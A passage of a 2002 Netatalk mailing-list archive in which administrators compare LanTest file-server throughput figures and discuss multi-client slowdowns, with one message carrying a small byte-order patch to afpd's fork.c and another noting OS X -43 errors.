Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04387
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:28:03 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04344
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:28:01 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1) id g0IERoA31093;
	Fri, 18 Jan 2002 14:27:50 GMT
	(envelope-from l.farr@epcdirect.co.uk)
Delivered-To: russellk@bearcage.com.au
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1av) with ESMTP id g0IERld31085;
	Fri, 18 Jan 2002 14:27:47 GMT
	(envelope-from l.farr@epcdirect.co.uk)
From: "Lawrence Farr" <l.farr@epcdirect.co.uk>
To: "'Daniel E. Lautenschleger'" <dan@bocklabs.wisc.edu>
Cc: "'Russell Kerrison'" <russellk@bearcage.com.au>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: RE: [Netatalk-devel] RE: Speed Tests
Date: Fri, 18 Jan 2002 14:27:45 -0000
Message-ID: <005f01c1a02c$4c7d2680$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <Pine.LNX.4.33.0201180814470.5140-100000@bocklabs.wisc.edu>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by AMaViS perl-10

Errr, how do you mean?

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: Daniel E. Lautenschleger [mailto:dan@bocklabs.wisc.edu] 
> Sent: 18 January 2002 14:16
> To: Lawrence Farr
> Cc: 'Russell Kerrison'; netatalk-admins@umich.edu; 
> netatalk-devel@lists.sourceforge.net
> Subject: Re: [Netatalk-devel] RE: Speed Tests
> 
> 
> Have you tested with all three machines at once? I think 
> you'll see the
> results drop off dramatically.
> 
> -Dan
> 
> 
> ---------------------------------
> Daniel E. Lautenschleger
> Computer Guy
> R.M. Bock Labs
> University of Wisconsin - Madison
> 
> On Fri, 18 Jan 2002, Lawrence Farr wrote:
> 
> > Ok, Here's some tests with 300Mb files. My poor celeron
> > started to show it's limits, so I built a quick replacement,
> > still nowhere near as powerful as the Win2k box though!
> >
> > Here's the original two machines at 300Mb testsize:
> >
> > Machine 1 FreeBSD 4.4-STABLE Netatalk 1.5R
> >
> > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > software. (Vinum).
> > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> >
> > Average Read 	6896.241 Kb/Sec
> > Average Write 	4638.899 Kb/Sec
> >
> > Machine 2 Windows 2000 Service Pack 2
> >
> > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > Striped on a Dell PERC2 With 128Mb cache.
> > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> >
> > Average Read	9732.36  Kb/Sec
> > Average Write	9623.616 Kb/Sec
> >
> > And the new test machine at 300Mb Testsize:
> >
> > Machine 3 FreeBSD 4.4-STABLE Netatalk 1.5R
> >
> > P3 800, 1Gb 100Mhz RAM, 2x10kRPM LVD drives,
> > Striped on an Adaptec SCSI controller.
> > Intel EtherExpress 10/100Mb Card @ 100Mb FDX
> >
> > Average Read	10103.846 Kb/Sec
> > Average Write	10004.49  Kb/Sec
> >
> > Lawrence Farr
> > EPC Direct Limited
> >
> > > -----Original Message-----
> > > From: Russell Kerrison [mailto:russellk@bearcage.com.au]
> > > Sent: 18 January 2002 11:03
> > > To: Lawrence Farr
> > > Cc: netatalk-admins@umich.edu
> > > Subject: Re: Speed Tests
> > >
> > >
> > >
> > >
> > > What was the test size on these? In my testing of both Win
> > > 2000 and Netatalk
> > > machines, I found that when I went to a 300Mb file size my
> > > write speed began
> > > to decline after the first test. I'm looking to move to
> > > gigabit, but I am
> > > concerned as to where the bottleneck lies, and whether with
> > > gigabit I'll be
> > > getting the kind of throughput that the server disks can handle.
> > >
> > > Russell.
> > >
> > >
> > > on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:
> > >
> > > > I have done some Helios Lantesting of Appleshare servers,
> > > > and come up with some good results. These are all done
> > > > from the same test mac (A G4 400, 100Mbit connection),
> > > > and connected to the same switches (Extreme Networks
> > > > Summit 48 and 1). All readings are 10 pass averages, and
> > > > the mac is the only client.
> > > >
> > > > Machine 1 FreeBSD 4.4-STABLE
> > > >
> > > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > > software. (Vinum).
> > > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > > >
> > > > Average Read  9857.686 Kb/Sec
> > > > Average Write  9580.123 Kb/Sec
> > > >
> > > > Machine 2 Windows 2000 Service Pack 2
> > > >
> > > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > > Striped on a Dell PERC2 With 128Mb cache.
> > > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > > >
> > > > Average Read 9211.537 Kb/Sec
> > > > Average Write 8948.165 Kb/Sec
> > > >
> > > >
> > > > Lawrence Farr
> > > > EPC Direct Limited
> > >
> > >
> >
> >
> > _______________________________________________
> > Netatalk-devel mailing list
> > Netatalk-devel@lists.sourceforge.net
> > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> >
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:33:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA25081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:33:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA25475
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:33:34 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA25463
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:33:33 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA25443
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:33:32 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g0IEXAn05354;
	Fri, 18 Jan 2002 08:33:10 -0600
Date: Fri, 18 Jan 2002 08:33:10 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Lawrence Farr <l.farr@epcdirect.co.uk>
cc: "'Russell Kerrison'" <russellk@bearcage.com.au>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: RE: [Netatalk-devel] RE: Speed Tests
In-Reply-To: <005f01c1a02c$4c7d2680$c806a8c0@lfarr>
Message-ID: <Pine.LNX.4.33.0201180831471.5140-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I mean I've tested up to 7 machines running LanTest against a Netatalk box
and I found the first machine that connects to the Netatalk box has pretty
decent performance but after adding several other LanTest machines,
performance drops off on all of them.

-Dan


---------------------------------
Daniel E. Lautenschleger
Computer Guy
R.M. Bock Labs
University of Wisconsin - Madison

On Fri, 18 Jan 2002, Lawrence Farr wrote:

> Errr, how do you mean?
>
> Lawrence Farr
> EPC Direct Limited
>
> > -----Original Message-----
> > From: Daniel E. Lautenschleger [mailto:dan@bocklabs.wisc.edu]
> > Sent: 18 January 2002 14:16
> > To: Lawrence Farr
> > Cc: 'Russell Kerrison'; netatalk-admins@umich.edu;
> > netatalk-devel@lists.sourceforge.net
> > Subject: Re: [Netatalk-devel] RE: Speed Tests
> >
> >
> > Have you tested with all three machines at once? I think
> > you'll see the
> > results drop off dramatically.
> >
> > -Dan
> >
> >
> > ---------------------------------
> > Daniel E. Lautenschleger
> > Computer Guy
> > R.M. Bock Labs
> > University of Wisconsin - Madison
> >
> > On Fri, 18 Jan 2002, Lawrence Farr wrote:
> >
> > > Ok, Here's some tests with 300Mb files. My poor celeron
> > > started to show it's limits, so I built a quick replacement,
> > > still nowhere near as powerful as the Win2k box though!
> > >
> > > Here's the original two machines at 300Mb testsize:
> > >
> > > Machine 1 FreeBSD 4.4-STABLE Netatalk 1.5R
> > >
> > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > software. (Vinum).
> > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > >
> > > Average Read 	6896.241 Kb/Sec
> > > Average Write 	4638.899 Kb/Sec
> > >
> > > Machine 2 Windows 2000 Service Pack 2
> > >
> > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > Striped on a Dell PERC2 With 128Mb cache.
> > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > >
> > > Average Read	9732.36  Kb/Sec
> > > Average Write	9623.616 Kb/Sec
> > >
> > > And the new test machine at 300Mb Testsize:
> > >
> > > Machine 3 FreeBSD 4.4-STABLE Netatalk 1.5R
> > >
> > > P3 800, 1Gb 100Mhz RAM, 2x10kRPM LVD drives,
> > > Striped on an Adaptec SCSI controller.
> > > Intel EtherExpress 10/100Mb Card @ 100Mb FDX
> > >
> > > Average Read	10103.846 Kb/Sec
> > > Average Write	10004.49  Kb/Sec
> > >
> > > Lawrence Farr
> > > EPC Direct Limited
> > >
> > > > -----Original Message-----
> > > > From: Russell Kerrison [mailto:russellk@bearcage.com.au]
> > > > Sent: 18 January 2002 11:03
> > > > To: Lawrence Farr
> > > > Cc: netatalk-admins@umich.edu
> > > > Subject: Re: Speed Tests
> > > >
> > > >
> > > >
> > > >
> > > > What was the test size on these? In my testing of both Win
> > > > 2000 and Netatalk
> > > > machines, I found that when I went to a 300Mb file size my
> > > > write speed began
> > > > to decline after the first test. I'm looking to move to
> > > > gigabit, but I am
> > > > concerned as to where the bottleneck lies, and whether with
> > > > gigabit I'll be
> > > > getting the kind of throughput that the server disks can handle.
> > > >
> > > > Russell.
> > > >
> > > >
> > > > on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:
> > > >
> > > > > I have done some Helios Lantesting of Appleshare servers,
> > > > > and come up with some good results. These are all done
> > > > > from the same test mac (A G4 400, 100Mbit connection),
> > > > > and connected to the same switches (Extreme Networks
> > > > > Summit 48 and 1). All readings are 10 pass averages, and
> > > > > the mac is the only client.
> > > > >
> > > > > Machine 1 FreeBSD 4.4-STABLE
> > > > >
> > > > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > > > software. (Vinum).
> > > > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > > > >
> > > > > Average Read  9857.686 Kb/Sec
> > > > > Average Write  9580.123 Kb/Sec
> > > > >
> > > > > Machine 2 Windows 2000 Service Pack 2
> > > > >
> > > > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > > > Striped on a Dell PERC2 With 128Mb cache.
> > > > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > > > >
> > > > > Average Read 9211.537 Kb/Sec
> > > > > Average Write 8948.165 Kb/Sec
> > > > >
> > > > >
> > > > > Lawrence Farr
> > > > > EPC Direct Limited
> > > >
> > > >
> > >
> > >
> > > _______________________________________________
> > > Netatalk-devel mailing list
> > > Netatalk-devel@lists.sourceforge.net
> > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > >
> >
> >
>


From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:38:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA25222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:38:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA24890
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:38:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA24863
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:38:53 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA24815
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:38:51 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1) id g0IEcfd31593;
	Fri, 18 Jan 2002 14:38:41 GMT
	(envelope-from l.farr@epcdirect.co.uk)
Delivered-To: russellk@bearcage.com.au
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1av) with ESMTP id g0IEccd31585;
	Fri, 18 Jan 2002 14:38:38 GMT
	(envelope-from l.farr@epcdirect.co.uk)
From: "Lawrence Farr" <l.farr@epcdirect.co.uk>
To: "'Daniel E. Lautenschleger'" <dan@bocklabs.wisc.edu>
Cc: "'Russell Kerrison'" <russellk@bearcage.com.au>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: RE: [Netatalk-devel] RE: Speed Tests
Date: Fri, 18 Jan 2002 14:38:36 -0000
Message-ID: <006001c1a02d$d0692a10$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <Pine.LNX.4.33.0201180831471.5140-100000@bocklabs.wisc.edu>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by AMaViS perl-10

What spec server? Switches/Hubs? Linux? *BSD? 

Have you tried the same tests against Win2k or Helios?

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: Daniel E. Lautenschleger [mailto:dan@bocklabs.wisc.edu] 
> Sent: 18 January 2002 14:33
> To: Lawrence Farr
> Cc: 'Russell Kerrison'; netatalk-admins@umich.edu; 
> netatalk-devel@lists.sourceforge.net
> Subject: RE: [Netatalk-devel] RE: Speed Tests
> 
> 
> I mean I've tested up to 7 machines running LanTest against a 
> Netatalk box
> and I found the first machine that connects to the Netatalk 
> box has pretty
> decent performance but after adding several other LanTest machines,
> performance drops off on all of them.
> 
> -Dan
> 
> 
> ---------------------------------
> Daniel E. Lautenschleger
> Computer Guy
> R.M. Bock Labs
> University of Wisconsin - Madison
> 
> On Fri, 18 Jan 2002, Lawrence Farr wrote:
> 
> > Errr, how do you mean?
> >
> > Lawrence Farr
> > EPC Direct Limited
> >
> > > -----Original Message-----
> > > From: Daniel E. Lautenschleger [mailto:dan@bocklabs.wisc.edu]
> > > Sent: 18 January 2002 14:16
> > > To: Lawrence Farr
> > > Cc: 'Russell Kerrison'; netatalk-admins@umich.edu;
> > > netatalk-devel@lists.sourceforge.net
> > > Subject: Re: [Netatalk-devel] RE: Speed Tests
> > >
> > >
> > > Have you tested with all three machines at once? I think
> > > you'll see the
> > > results drop off dramatically.
> > >
> > > -Dan
> > >
> > >
> > > ---------------------------------
> > > Daniel E. Lautenschleger
> > > Computer Guy
> > > R.M. Bock Labs
> > > University of Wisconsin - Madison
> > >
> > > On Fri, 18 Jan 2002, Lawrence Farr wrote:
> > >
> > > > Ok, Here's some tests with 300Mb files. My poor celeron
> > > > started to show it's limits, so I built a quick replacement,
> > > > still nowhere near as powerful as the Win2k box though!
> > > >
> > > > Here's the original two machines at 300Mb testsize:
> > > >
> > > > Machine 1 FreeBSD 4.4-STABLE Netatalk 1.5R
> > > >
> > > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > > software. (Vinum).
> > > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > > >
> > > > Average Read 	6896.241 Kb/Sec
> > > > Average Write 	4638.899 Kb/Sec
> > > >
> > > > Machine 2 Windows 2000 Service Pack 2
> > > >
> > > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > > Striped on a Dell PERC2 With 128Mb cache.
> > > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > > >
> > > > Average Read	9732.36  Kb/Sec
> > > > Average Write	9623.616 Kb/Sec
> > > >
> > > > And the new test machine at 300Mb Testsize:
> > > >
> > > > Machine 3 FreeBSD 4.4-STABLE Netatalk 1.5R
> > > >
> > > > P3 800, 1Gb 100Mhz RAM, 2x10kRPM LVD drives,
> > > > Striped on an Adaptec SCSI controller.
> > > > Intel EtherExpress 10/100Mb Card @ 100Mb FDX
> > > >
> > > > Average Read	10103.846 Kb/Sec
> > > > Average Write	10004.49  Kb/Sec
> > > >
> > > > Lawrence Farr
> > > > EPC Direct Limited
> > > >
> > > > > -----Original Message-----
> > > > > From: Russell Kerrison [mailto:russellk@bearcage.com.au]
> > > > > Sent: 18 January 2002 11:03
> > > > > To: Lawrence Farr
> > > > > Cc: netatalk-admins@umich.edu
> > > > > Subject: Re: Speed Tests
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > What was the test size on these? In my testing of both Win
> > > > > 2000 and Netatalk
> > > > > machines, I found that when I went to a 300Mb file size my
> > > > > write speed began
> > > > > to decline after the first test. I'm looking to move to
> > > > > gigabit, but I am
> > > > > concerned as to where the bottleneck lies, and whether with
> > > > > gigabit I'll be
> > > > > getting the kind of throughput that the server disks 
> can handle.
> > > > >
> > > > > Russell.
> > > > >
> > > > >
> > > > > on 18/1/02 4:05 AM, Lawrence Farr at 
> l.farr@epcdirect.co.uk wrote:
> > > > >
> > > > > > I have done some Helios Lantesting of Appleshare servers,
> > > > > > and come up with some good results. These are all done
> > > > > > from the same test mac (A G4 400, 100Mbit connection),
> > > > > > and connected to the same switches (Extreme Networks
> > > > > > Summit 48 and 1). All readings are 10 pass averages, and
> > > > > > the mac is the only client.
> > > > > >
> > > > > > Machine 1 FreeBSD 4.4-STABLE
> > > > > >
> > > > > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > > > > software. (Vinum).
> > > > > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > > > > >
> > > > > > Average Read  9857.686 Kb/Sec
> > > > > > Average Write  9580.123 Kb/Sec
> > > > > >
> > > > > > Machine 2 Windows 2000 Service Pack 2
> > > > > >
> > > > > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > > > > Striped on a Dell PERC2 With 128Mb cache.
> > > > > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > > > > >
> > > > > > Average Read 9211.537 Kb/Sec
> > > > > > Average Write 8948.165 Kb/Sec
> > > > > >
> > > > > >
> > > > > > Lawrence Farr
> > > > > > EPC Direct Limited
> > > > >
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Netatalk-devel mailing list
> > > > Netatalk-devel@lists.sourceforge.net
> > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > >
> > >
> > >
> >
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:46:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA25595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:46:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA09569
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:46:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA09555
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:46:45 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA09517
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:46:43 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA08355;
	Fri, 18 Jan 2002 16:11:48 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 18 Jan 2002 15:46:31 +0100
Subject: Re: [Netatalk-devel] RE: Speed Tests
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>,
        Lawrence Farr <l.farr@epcdirect.co.uk>
CC: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Message-ID: <B86DF3D7.18868%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.33.0201180831471.5140-100000@bocklabs.wisc.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 18 Jan 2002 08:33:10 -0600 (CST), Daniel E. Lautenschleger wrote:

> I mean I've tested up to 7 machines running LanTest against a Netatalk box
> and I found the first machine that connects to the Netatalk box has pretty
> decent performance but after adding several other LanTest machines,
> performance drops off on all of them.

If your server is connected via fast ethernet, then the results are
obviously correct. The LanTest clients have to share the bandwidth.

But even if you put in a gigabit ethernet NIC and have high performance
switches, you won't be able to test the performance of "netatalk itself"
with such limited testing. You will only be able to test for bottlenecks
(IO, networking, quality of drivers) on a specific machine/architecture.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 18 11:24:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA00886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 11:24:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA00532
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 11:24:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA00524
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 11:24:11 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA00502
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 11:24:10 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id g0IGO7544882;
	Fri, 18 Jan 2002 11:24:07 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 18 Jan 2002 11:24:07 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: netatalk-devel@lists.sourceforge.net
cc: netatalk-admins@umich.edu
Subject: Patch for Quark et al
Message-ID: <20020118112022.W44774-200000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-659093872-1011371047=:44774"

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-659093872-1011371047=:44774
Content-Type: TEXT/PLAIN; charset=US-ASCII

I committed a patch the other day that Lawrence Farr has been testing for
me that seems to have good results with Quark and Retrospect.  It has not
been back-ported from HEAD yet, but here is the diff to 1.5.0.  Please
test this if you can.  I'm looking for littleendian Linux, Tru64,
littleendian OpenBSD, and littleendian NetBSD, and littleendian Solaris
feedback.  Thanks.

Joe


--0-659093872-1011371047=:44774
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="patch-etc::afpd::fork.c"
Content-Transfer-Encoding: BASE64
Content-ID: <20020118112407.L44774@shumai.marcuscom.com>
Content-Description: 
Content-Disposition: attachment; filename="patch-etc::afpd::fork.c"

LS0tIGV0Yy9hZnBkL2ZvcmsuYy5vcmlnCVdlZCBKYW4gMTYgMTU6MjA6NDcg
MjAwMg0KKysrIGV0Yy9hZnBkL2ZvcmsuYwlXZWQgSmFuIDE2IDE1OjIxOjEy
IDIwMDINCkBAIC0xOTAsOSArMTkwLDkgQEANCiANCiAgICAgICAgICAgICBp
ZiAoYWludCA9PSAwKSB7DQogI2lmZGVmIEFGUw0KLSAgICAgICAgICAgICAg
ICBhaW50ID0gc3Quc3RfaW5vOw0KKyAgICAgICAgICAgICAgICBhaW50ID0g
aHRvbmwoc3Quc3RfaW5vKTsNCiAjZWxzZSAvKiBBRlMgKi8NCi0gICAgICAg
ICAgICAgICAgYWludCA9ICggc3Quc3RfZGV2IDw8IDE2ICkgfCAoIHN0LnN0
X2lubyAmIDB4MDAwMGZmZmYgKTsNCisgICAgICAgICAgICAgICAgYWludCA9
IGh0b25sKCggc3Quc3RfZGV2IDw8IDE2ICkgfCAoIHN0LnN0X2lubyAmIDB4
MDAwMGZmZmYgKSk7DQogI2VuZGlmIC8qIEFGUyAqLw0KICAgICAgICAgICAg
IH0NCiANCg==
--0-659093872-1011371047=:44774--

From netatalk.administrators-errors@umich.edu  Fri Jan 18 12:56:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA06064
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 12:56:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA21218
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 12:56:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA21208
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 12:56:28 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA21178
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 12:56:27 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id g0IHuPP45377;
	Fri, 18 Jan 2002 12:56:25 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 18 Jan 2002 12:56:25 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: netatalk-devel@lists.sourceforge.net
cc: netatalk-admins@umich.edu
Subject: -43 errors and OS X
Message-ID: <20020118125512.H44774-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Looks like it's not just netatalk.  Seems there may actually be a problem
in OS X.  There are quite a few reports of this at
http://www.macintouch.com/mosxreaderreports80.html#jan18, and none of them
mention netatalk.

Joe


From netatalk.administrators-errors@umich.edu  Fri Jan 18 14:49:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA13007
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 14:49:43 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA28916
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 14:49:43 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA28913
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 14:49:42 -0500 (EST)
Received: from mailgw.onshore.com (mailgw.onshore.com [66.54.200.136])
